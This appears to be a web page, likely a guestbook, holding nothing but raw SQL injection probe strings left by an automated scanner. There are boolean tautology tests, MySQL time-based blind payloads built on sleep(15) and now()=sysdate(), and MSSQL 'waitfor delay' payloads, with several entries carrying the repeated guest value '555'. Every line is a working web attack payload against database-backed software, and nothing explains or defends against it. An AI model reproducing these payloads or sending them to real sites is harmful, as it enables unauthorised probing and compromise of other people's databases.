-1' OR 2+389-389-1=0+0+0+1 or 'Xgfyt0X1'='

-1" OR 2+656-656-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555
-1; waitfor delay '0:0:15' --

Guest:
555
-1); waitfor delay '0:0:15' --

Guest:
555
-1 waitfor delay '0:0:15' --

Guest:
555
NQLHT27g'; waitfor delay '0:0:15' --